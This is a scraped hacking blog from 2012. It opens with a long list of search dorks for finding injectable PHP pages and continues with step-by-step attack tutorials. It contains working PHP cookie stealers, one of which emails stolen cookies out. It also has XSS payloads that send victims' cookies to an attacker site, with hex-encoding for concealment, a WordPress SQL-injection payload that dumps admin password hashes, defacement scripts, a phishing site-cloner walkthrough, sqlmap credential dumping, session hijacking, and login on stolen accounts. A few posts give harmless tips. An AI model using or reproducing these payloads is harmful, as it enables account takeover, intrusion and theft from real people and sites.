 inurlerson.php?id= 

 inurlroductinfo.php?id= 

 inurl:showimg.php?id= 

 inurl:view.php?id= 

 inurl:website.php?id= 

 inurl:hosting_info.php?id= 

 inurl:gallery.php?id= 

 inurl:rub.php?idr= 

 inurl:view_faq.php?id= 

 inurl:artikelinfo.php?id= 

 inurl:detail.php?ID= 

 inurl:index.php?= 

 inurlrofile_view.php?id= 

 inurl:category.php?id= 

 inurlublications.php?id= 

 inurl:fellows.php?id= 

 inurl:downloads_info.php?id= 

 inurlrod_info.php?id= 

 inurl:shop.php?do=part&id= 

 inurlroductinfo.php?id= 

 inurl:collectionitem.php?id= 

 inurl:band_info.php?id= 

 inurlroduct.php?id= 

 inurl:releases.php?id= 

 inurl:ray.php?id= 

 inurlroduit.php?id= 

 inurlop.php?id= 

 inurl:shopping.php?id= 

 inurlroductdetail.php?id= 

 inurlost.php?id= 

 inurl:viewshowdetail.php?id= 

 inurl:clubpage.php?id= 

 inurl:memberInfo.php?id= 

 inurl:section.php?id= 

 inurl:theme.php?id= 

 inurlage.php?id= 

 inurl:shredder-categories.php?id= 

 inurl:tradeCategory.php?id= 

 inurlroduct_ranges_view.php?ID= 

 inurl:shop_category.php?id= 

 inurl:transcript.php?id= 

 inurl:channel_id= 

 inurl:item_id= 

 inurl:newsid= 

 inurl:trainers.php?id= 

 inurl:news-full.php?id= 

 inurl:news_display.php?getid= 

 inurl:index2.php?option= 

 inurl:readnews.php?id= 

 inurl:top10.php?cat= 

 inurl:newsone.php?id= 

 inurl:event.php?id= 

 inurlroduct-item.php?id= 

 inurl:sql.php?id= 

 inurl:aboutbook.php?id= 

 inurl:review.php?id= 

 inurl:loadpsb.php?id= 

 inurl:ages.php?id= 

 inurl:material.php?id= 

 inurl:clanek.php4?id= 

 inurl:announce.php?id= 

 inurl:chappies.php?id= 

 inurl:read.php?id= 

 inurl:viewapp.php?id= 

 inurl:viewphoto.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:review.php?id= 

 inurl:iniziativa.php?in= 

 inurl:curriculum.php?id= 

 inurl:labels.php?id= 

 inurl:story.php?id= 

 inurl:look.php?ID= 

 inurl:newsone.php?id= 

 inurl:aboutbook.php?id= 

 inurl:material.php?id= 

 inurlpinions.php?id= 

 inurl:announce.php?id= 

 inurl:rub.php?idr= 

 inurl:galeri_info.php?l= 

 inurl:tekst.php?idt= 

 inurl:newscat.php?id= 

 inurl:newsticker_info.php?idn= 

 inurl:rubrika.php?idr= 

 inurl:rubp.php?idr= 

 inurlffer.php?idf= 

 inurl:art.php?idm= 

 inurl:title.php?id=

How to Login in Facebook without Getting the Security Question 100% work

2012-09-05T14:17:00.001-07:00

You got someone facebook id and password. If you try to login to that account from your your system, it will ask to answer security question. You can bypass this security.

Requirments:

slave IP address

* Go to http://www.ip2location.com

* and enter the IP address.

* It will show the country of slave.

* Now visit:

* http://www.samair.ru/

* Find the proxy IP address based on the slave's Counry.

* Set the proxy IP in mozilla

* Now login to facebook with id you got. you won't get Security 

Question now.

Hack cookie XSS Method

2012-09-01T11:49:00.000-07:00

Requirements:

A cookie Stealer code : Here is the simple Cookie Stealer code: Cookie stored in File:
<?php
$cookie = $HTTP_GET_VARS["cookie"];
$steal = fopen("cookiefile.txt", "a");
fwrite($steal, $cookie ."\\n");
fclose($steal);
?>
$cookie = $HTTP_GET_VARS["cookie"]; steal the cookie from the current url(stealer.php?cookie=x)and store the cookies in $cookie variable.

$steal = fopen("cookiefile.txt", "a"); This open the cookiefile in append mode so that we can append the stolen cookie.

fwrite($steal, $cookie ."\\n"); This will store the stolen cookie inside the file.

fclose($steal); close the opened file.

Another version: Sends cookies to the hacker mail

<?php
$cookie = $HTTP_GET_VARS["cookie"]; mail("hackerid@mailprovider.com", "Stolen Cookies", $cookie);
?>
The above code will mail the cookies to hacker mail using the PHP() mail function with subject "Stolen cookies".

Third Version

<?php
function GetIP()
{
    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))
        $ip = getenv("HTTP_CLIENT_IP");
    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))
        $ip = getenv("HTTP_X_FORWARDED_FOR");
    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))
        $ip = getenv("REMOTE_ADDR");
    else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'], "unknown"))
        $ip = $_SERVER['REMOTE_ADDR'];
    else
        $ip = "unknown";
    return($ip);
}
function logData()
{
    $ipLog="log.txt";
    $cookie = $_SERVER['QUERY_STRING'];
    $register_globals = (bool) ini_get('register_gobals');
    if ($register_globals) $ip = getenv('REMOTE_ADDR');
    else $ip = GetIP();

    $rem_port = $_SERVER['REMOTE_PORT'];
    $user_agent = $_SERVER['HTTP_USER_AGENT'];
    $rqst_method = $_SERVER['METHOD'];
    $rem_host = $_SERVER['REMOTE_HOST'];
    $referer = $_SERVER['HTTP_REFERER'];
    $date=date ("l dS of F Y h:i:s A");
    $log=fopen("$ipLog", "a+");

    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : } $date | COOKIE: $cookie <br>");
    else
        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host | Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE: $date | COOKIE: $cookie \n\n");
    fclose($log);
}
logData();
?>
The above Cookie stealer will store the following information:
- Ip address
- port number
- host(usually computer-name)
- user agent
- cookie
Free Web hosting service
Basic Knowledge about XSS
Basic Knowledge about Computer Cookies

Cookie stealing is the process of exploiting the XSS vulnerability (Non-persistent/persistent) and steal the cookie from the victim who visit the infected link. These cookie will be used to compromise their accounts.

Step 1: Creating Cookie Stealer PHP file

Get the Cookie stealer from the link i mentioned. In that post, i have explained three versions of cookie stealer. We are going to use the third version.

Copy the code.
Open Notepad and paste the code
Save the file with .php extension
Eg: Stealer.php

Now create New file and save it as log.txt (leave it as blank). Don't change the name , this is the file name what we give in php file.

Now you will have two files;
1. Stealer.php
2. log.txt

What these two files do exactly?
The above Stealer.php file get ip address,cookie and stores the data in log.txt file.
The log.txt has cookies , ip address details.

Step 2:
Register in a free web-hosting service and login into your cpanel.
Now open the File Manager in cpanel.
Upload the Stealer.php and log.txt to root folder or public_html folder.

Now the stealer will be at hxxp://www.YourSite.com/Stealer.php .

Step 3: Exploiting the XSS Vulnerability
So Far , we have sharpened our saw. Now we are going to use it.
Once you set up everything and find a Vulnerable site,then inject the following code in the Vulnerable sites.

<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

For example:
hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

Cookie Stealing with Non-Persistent vs Persistent XSS:
Persistent: if you inject this code in Persistent XSS vulnerable site, it will be there forever until admin find it. It will be shown to all users. So attackers don't need to send any link to others. Whoever visit the page, they will be vicim.

Non-Persistent:
In case of Non-persistent attack, attacker will send the link to victims. Whenever they follow the link, it will steal the cookie. Most of sites are vulnerable to Non-persistent XSS .

In Non-persistence, Attackers will send the injected link victims.
For example:
hxxp://www.VulnerableSite.com/index.php?search=<script>location.href = 'http://www.Yoursite.com/Stealer.php?cookie='+document.cookie;</script>

The above link is clearly shows the scripts. Hackers can Hex-encode this script so that victim can't see the script.
For Example:

hxxp://www.VulnerableSite.com/index.php?search=%3c%73%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%20%3d%20%27%68%74%74%70%3a%2f%2f%77%77%77%2e%59%6f%75%72%73%69%74%65%2e%63%6f%6d%2f%53%74%65%61%6c%65%72%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e

Still , the link look long. The attacker use one more trick to hide the long url i.e url shortening sites. There are lot of sites that shorten the long url into tiny url.

For example:
hxxp://www.tinyexample.com/twrwd63

Once the victim follow the link, his cookie will be stored in log.txt file.

How to be Secure from this attack?

Use No-Script Addon. This is best protection to stay away from XSS
Never Click the Shorten url
Sometime you may want to follow the shorten link. If so, then clear all cookies in your browser and visit through Proxy or VPN(it will hide your ip)
(Later We will cover security tips for site admin , so stay tuned)

Website deface method XSS tutorial

2012-09-01T11:45:00.000-07:00

Defacing is one of the most common thing when the hacker found the vulnerability in website. Defacing is changing the content the website hacker content. Most of time, attacker use this technique to inform about the vulnerability to Admin. But it's bad idea..!

Script for chaning the background Color of a website:
<script>document.body.bgColor="red";</script>

Script for chaning the background image of a website:
<script>document.body.background="http://your_image.jpg";</script>

Defacement Page with Pastehtml:

First of all upload some defacement page(html) to pastehtml.com and get the link.

When you find a XSS vulnerable site, then insert the script as :
<script>window.location="http://www.pastehtml.com/Your_Defacement_link";</script>

This script will redirect the page to your pastehtml defacement page.

Note: You can deface only persistent XSS vulnerable sites.

Hack WordPress Blog in easy way full tutorial

2012-08-31T15:21:00.000-07:00

In this tutorial I am going to show you how to hack wordpress blog in easy was so just follow the simple steps.

1. Open google and search inurl:"fbconnect_action=myhome"
2. Now open any link from the search result .

3. After opening the link just change this part of the URL ?fbconnect_action=myhome&userid= with this

?fbconnect_action=myhome&fbuserid=1+and+1=2+union+ select+1,2,3,4,5,concat(user_login,0x3a,user_pass) z0mbyak,7,8,9,10,11,12+from+wp_users--

after that just hit enter you will see the admin id and hash (see the bellow snapshot ) now just decrypt the hash with md5 cracker and you have done !

Create your own keyboard shortcut key to open a program

2012-08-31T15:18:00.003-07:00

In this tutorial I am going to show you how to make your own shortcut key to open the program in faster way. Using this technique your speed will increase and you can make your own keyboard shortcut Just follow the simple steps.

1. go to start and right click on the program which you want to create a shortcut key

2. go to properties (see the bellow snapshot)

3. Now Click on shortcut key and just press ctrl and press any key ( from a to z ).

And hit ok and you have done !

WordPress Remote File Upload Vulnerability with Asset Manager Hack Web sites

2012-08-31T15:11:00.001-07:00

In WordPress we can upload our deface page using Remote File Upload Vulnerability with Asset Manager. Asset Manager is a plugin that allows you to upload your files Just simply follow the simple steps to hack the wordpress website.
1. Open google and search inurl:Editor/assetmanager/assetmanager.asp2. Now open any result you will found look like bellow snapshot.
3. Just click on browse and upload your deface page.

Demo: Asset Manager Deface page

facebook hack using backtrack

2012-08-31T15:01:00.002-07:00

Now in this tutorial I am going to show you how to hack facebook account using backtrack 5. So just follow the simple steps.
Open your backtrack 5’s terminal and type cd /pentest/exploits/set

Now Open social Engineering Tool kit (SET) ./set

Just hit ENTER and SET will Open , Now just select 1st option (1 Social-Engineering Attacks) and hit enter after that 2nd number (just type 2 as shown in snapshot)

Now Just select 4th Option “Tabnabbing Attack Method” and Hit ENTER

Then select 2nd option “Site Cloner” and Hit ENTER

Now here you need to add the URL of Facebook (if you want to hack gmail then just add the gmail’s URL)

Now just hit the enter.

Open new terminal and just type ifconfig and hit ENTER

Now just copy this IP address and open it in Browser.

Now here I am just typing test email and password to see whether it works or not.

Now just hit enter and switch back to our terminal and we found the Email and password !

This tutorial is just educational purpose only.

Hack via Session Hijacking

2012-08-31T14:57:00.002-07:00

Session Hijacking is Stealing the existing active Session. The main purpose of Session Hijacking is to bypass authentication process and gain unauthorized access to the computer or Website. In simple words , hackers will login as some other client using their Sessions.

TCP session hijacking is when a hacker takes over a TCP session between two machines. Since most authentication only occurs at the start of a TCP session, this allows the hacker to gain access to a machine

Different Session Hijacking methods:

Session stealing is achieved by following methods

1. Session fixation:
      In this method, the Hacker sets a user's session id to known victim. For example, Hacker will send email to known victim with a link that contains a particular session id. If the victim followed that link, the hacker can use that session and gain access.

2. Session SideJacking(session Sniffing):
    In this method, the attacker use packet sniffing to and steal the Session cookie. In order to prevent this, some websites use SSL(encrypts the session). but do not use encryption for the rest of the site once authenticated. This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client.

Unsecured Hotspots are vulnerable to this type of Session Hijacking.

3. Client-side attacks (XSS, Malicious JavaScript Codes, Trojans, etc):
        Hacker can steal the Session by running the Malicious Javascript codes in client system. Usually hackers attack some websites using XSS and insert their own Malicious Javascript codes.

In client point view it is trusted website, he will visit the website. When victim visit the link , Malicious Javascript will executed. It will steal the Session cookies and other confidential data.

4. Physical access:
          If the hacker has physical access, it is easy for him to steal the Session. Usually this will occur in public cafe. In public cafe , one use login to some websites(facebook, gmail). A hacker come after victim can steal the session cookies.

an ideal password for online account

2012-08-31T14:49:00.002-07:00

What is your password ? is your password like 123456, 98654, billgates,yourname,lovername,iloveyou,thankyou? Then you will definitely loose your account soon. The hackers can easily hack your account with much effort.

Your password should be :

Above 10 letters
Both uppercase and lowercase letters
Should use special characters like '&'.
Should contain Numbers
Should not Use any names of your lover ,mother,father,etc.
Should not be usual words like iloveyou,ihateyou,ihateu.
Should not be your birthday like oct2010.

Consider this tips when you create a password. Secure your password.

free use another ip without ip change software

2012-08-31T14:48:00.000-07:00

Register with another ip in forum,if you banned

Is your ip address banned in any forum or website? Can not you create account or login to your account? Don't worry i am here to help you to create a new account. Also You can have multiple accounts in forum.

How can you register after banned?
You can change your ip address. Visit from another ip and register the account. Whenever you want to login to that forum or website hide ip address in simple way.

Don't use your old mail id or any other old details. Create new one.

For Multiple Accounts:
If you want multiple accounts in forum ,what you have to do? First register one account with one ip. Then register another account with another ip. likewise do registration. If you want to login ,follow same procedure and use unique ip address for each account.

How to change ip address?
I gave you list of proxy servers here:

94.125.27.20:8080
93.91.200.146:8080
81.18.116.66:8080
79.125.28.242:3128
72.52.96.9:80
72.52.96.11:80
69.13.229.214:3128
68.96.75.146:9090
64.87.46.57:3128
64.23.156.82:8080
62.142.57.72:8080
Use those proxy server.

After setting new ip,check whether it is working or not by visiting "whatismyipaddress.com". If the above proxy list didn't work,then try to search in google as proxy list". I hope above proxy lists will work perfectly.

website hacking method using rte webwiz

2012-08-31T14:42:00.001-07:00

oky lets start :)

Dork for this Vulnerability is "inurl:rte/my_documents/my_files"

The Exploit is
    site.com/rte/RTE_popup_file_atch.asp
    site.com/admin/RTE_popup_file_atch.asp

For Example i found 1 website which is vulnerable to RTE
Site:- http://www.billkonigsberg.com
Vulnerability  http://www.billkonigsberg.com/RTE_popup_file_atch.asp
Now upload the deface page here and in left site after upload your page will show
I have uploaded my deface page like
http://www.billkonigsberg.com/my_documents/my_files/46C_Fu.html

Happy Hacking :)

website hack mehod: backtrack sqlmap

2012-08-31T14:38:00.000-07:00

Sqlmap is a automatic sql injection tool which helps you to hack website easily. Follow the simple steps to hack website using backtrack 5 sqlmap tool.

1. Open your backtrack terminal and type cd /pentest/database/sqlmap and hit enter. Now sqlmap is open in your terminal
2. Now find the vulnerable site. (well I already have vulnerable site)

3. Now type this command in the terminal and hit enter.(refer above figure)

python sqlmap.py -u http://yourvictim'slink/index.php?id=4 –dbs

4. Now you will get the database name of the website

Well I got the two database aj and information_schema we will select aj database.

5. Now get the tables of that database. for that you need to enter this command into your terminal and simply hit Enter.

python sqlmap.py -u http://yourvictim'slink/index.php?id=4 -D (database name) –tables

6. Now we need to grab the tables from the aj database. paste this command bellow command and hit enter.

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -D aj –tables

7. Now you will get the tables list which is stored in aj database.

8. Now lets grab the columns from the admin table

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin --columns

Now we got the columns and we got username and password
9. Now lets grab the passwords of the admin

python sqlmap.py -u http://www.yourvictim'slink.com/index.php?id=4 -T admin -U test --dump

Now we got the username and the password of the website !

Now just find the admin penal of the website and use proxy/vpn when you are trying to login in the website as a admin. enjoy your hack

what should be your password for safe your account

2012-08-31T14:15:00.000-07:00

Above 10 letters
Both uppercase and lowercase letters
Should use special characters like '&'.
Should contain Numbers
Should not Use any names of your lover ,mother,father,etc.
Should not be usual words like iloveyou,ihateyou,ihateu.
Should not be your birthday like oct2010.

Consider this tips when you create a password. Secure your password.

Hack Facebook Account Using Wireshark full tutorial step by step

2012-08-27T13:49:00.000-07:00

In this tutorial we will have out look on how you can hack facebook account using wireshark. First of all I must clear you even though you'll get access to victim's account you'll not get his/her password, next this trick will work only on LAN with hub. It will also work on LAN with switch but you'll have to perform ARP poisoning, click on link to know more.
Here surely I 'll not discus how to use wireshark please read our previous tutorials to know how to use wireshark.

For this hack you'll need wireshark which is a packet sniffing tool, Mozilla Firefox web browser and add n edit add-on for Mozilla Firefox. Now I assume you have all above components for hacking facebook and you are connected in a hub based LAN or LAN which has been ARP poisoned. So now click on capture button and start capturing packets.

Now using command line shell ping www.facebook.com to get its IP address, filter all IP packets having IP address of www.facebook.com and search for HTTP protocol followed byGET /home.php, this may vary depending on region and time/zone but don't bother try to search all packets with HTTP GET for cookies.

Now from packet details window expand the packet information for above packet and you'll get 8-10 different cookies that are stored by www.facebook.com on victim's PC. Right click and copy all cookies names and values in notepad.

Now open Mozilla Firefox browse to tools and open Cookie editor. Add each cookie to your cookie folder using Cookie editor.

After adding each value, your cookie editor will show you following values in cookie list for facebook.

Now close Cookie editor and open Facebook, you'll find yourself logged into the victims account.

Defense against this attack:

A system administrator should use tools used for countering sniffing.

Don't log-in into your accounts if you know your LAN is not protected and if you want to log-in better use a tunneled connection.

Download Wireshark from http://www.wireshark.org/.

Download Add N Edit Cookies from Add-Ons Mozzila

Read how to use wireshark.

What is ARP poisoning ?

What is sniffing ?

power by filemela

Hack all Passwords from Browser in easy way

2012-08-27T13:30:00.000-07:00

Most of us have the habit of remembering passwords for most of the websites we visit.In general it is very usefull....

But what if these passwords are hacked by others.....?????????

Passwords are generally stored in fire fox in a encrypted form in their database...
Now lets learn how a hacker could decrypt these passwords...

Steps:

First download Fire Password Viewer Download FirePasswordViewer

Install Fire Password Viewer

Click On Start Recovery Button:

Now u will see a list of stored user names and passwords:
Click on Save As HTML Button And save with any file name..

Close the application:

Go to My Documents(Itz the default folder where files is saved as default)

Click the file u have created previously

U will find all ur passwords and usernames there in the file:

Now let us find some methords to defend it:

Using a Master Password:

Master password helps to protect our data using a password:

How to set Master Password in FireFox?:

Open Firefox

Go To Tools

Options---->Security

Check Use a Master Password

Enter new Password

Press Enter And u r Done!!..

power by filemela :)

Make Your Computer Speak When Log On

2012-08-27T13:18:00.000-07:00

It’s a simple trick to amaze your friends.When you Log On infront of them.
Yeah a trick to make your Computer Welcome you on Start Up.

Lets Do It:

Open Notepad

Paste the bellow code in Np

Dim speaks, speech
speaks="Welcome Back, Username"
Set speech=CreateObject("sapi.spvoice")
speech.Speak speaks

Replace Username with your Name

Click Save As and save as type Welcome.vbs

Copy File Welcome.vbs and paste it in bellow address

Windows-7

C:\Users\Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

*Replace Username with your username and C:\ with your Root Drive

Windows-Xp

C:\Documents and Settings\All Users\Start Menu\Programs\Startup

Done Log Off and Log In Amazed? .Now Your computer welcomes you

Windows 7 hacking tutorial step by step

2012-08-26T13:19:00.000-07:00

Windows 7 GodMode Hack [Turtorial]

Windows 7 The New shiny product of Microsoft is just revealed and some windows guys have uncovered a new Hack in Windows 7 which the team at windows call is "GodMode"

The Hack is some kind of Glitch as we have also seen the Glitch in YouTube yesterday, What this does is bring you to an new settings page which got some good options in it to play with the windows.

Obviously not the control panel settings, they contain some of the good one's in them like"Back up Your computer" and "Login Credentials" and stuff like that.

The "GodMode" Contains a List of Over 50 sections consisting of setting for you which can be enabled by a simple rename. But it might be a new promotion by the windows guys to promote their New windows 7...

Whatever, lets focus on the Trick that we are going to apply to enable the, so called "GodMode" in windows 7.

Steps

The Hack is very easy one, with a simple rename you can access it. So don't blame me if this is Lame.

Create a new folder.
Rename the folder to
GodMode.{ED7BA470-8E54-465E-825C-99712043E01C}
(note that you can change the “GodMode” text, but the following period and code number are essential).
The folder icon will change — double click it to show the GodModewindow:

ScreenShot

Conclusion

This might be good for you as you can now apply various setting to your Windows 7 at a single place. btw i don't use Windows 7 that much, i just Love the Window Xp. It might a new promotional way by the Microsoft guys. well who cares.

- Enjoy

power by filemela :)

View Hidden Directories In A Website Using Robots.txt

2012-08-26T13:17:00.000-07:00

Many a times in hacking you need to know the web directories. But its hard to find it out as a server might contain uncountable no. of Directories in it.
But a major hole in this security is the Robots.txt

What is Robots.txt

Robot.txt is the file in the [ wwwroot ]of a server to define the Bots the Functionality on the website.

There are many Bots on the internet like the most famous are Google Search Engine BOT aka Google Spider , Yahoo Search Engine Bot and many others.
What robots.txt do is that it gives orders to the Bot on how to spider on the website….

Now you may ask what’s the use of Robots.txt file.
Well it is used by webmasters to add functionality to the upcoming bots on there website and also to hide the directories in the website and where the Bot should not go and spider.

Analyzing Robots.txt For Hacking Stuff

Well its really simple, the first question you would ask is Where is robots.txt Located ?
The answer is its in the [ WWWROOT ].
Don't Understand till yet , its in the main Directory.
Lets take the example of Hacker The Dude Website ;)

http://www.filemela.com/robots.txt

Go Ahead and type it in the Address bar of your Browser then what do you see,

Do you see that , this is the Robots.txt for the Hacker the dude website Now lets first Analyze this Robots.txt

First Line :-

User-agent: Mediapartners-Google

This means that the above statements are given for the Google Search Engine Bot i.e. Google Spider.

Second Line :-

Disallow:

This mean that nothing is disallowed to the Google Bot, Remember these Orders are given to the Google bot only not other bots.

Third Line :-

User-agent: *

This means that now all the bots coming to the blog will follow these rules.note that previous rules were for only Google Bot.

Fourth Line :-

Disallow: /search

This means that all the bots will not spider the files under the directory /search in the following Blog.

Fifth Line :-

Sitemap: http://filemela.com/feeds/posts/default?orderby=updated

This is basically my blogs sitemap. Not very important.

Working Demo

Now lets test Robots.txt files of various well known websites.

1. Mine Favorite = Google !!

LINK

Now you would see some very useful links in it for example, in termas of the hacking its very useful to know more about our Victim.

Allow: /profiles

Disallow: /katrina?

Disallow: /tbproxy/

Hell, Google Knows Katrina Kaif :D

Conclusion

Now that you have seen the working demo and the uses and the read the whole article then you would be pretty sure on how we are going to find the vulnerability in a website without even first hacking it.

btw I Love Robos.txt

power by filemela :)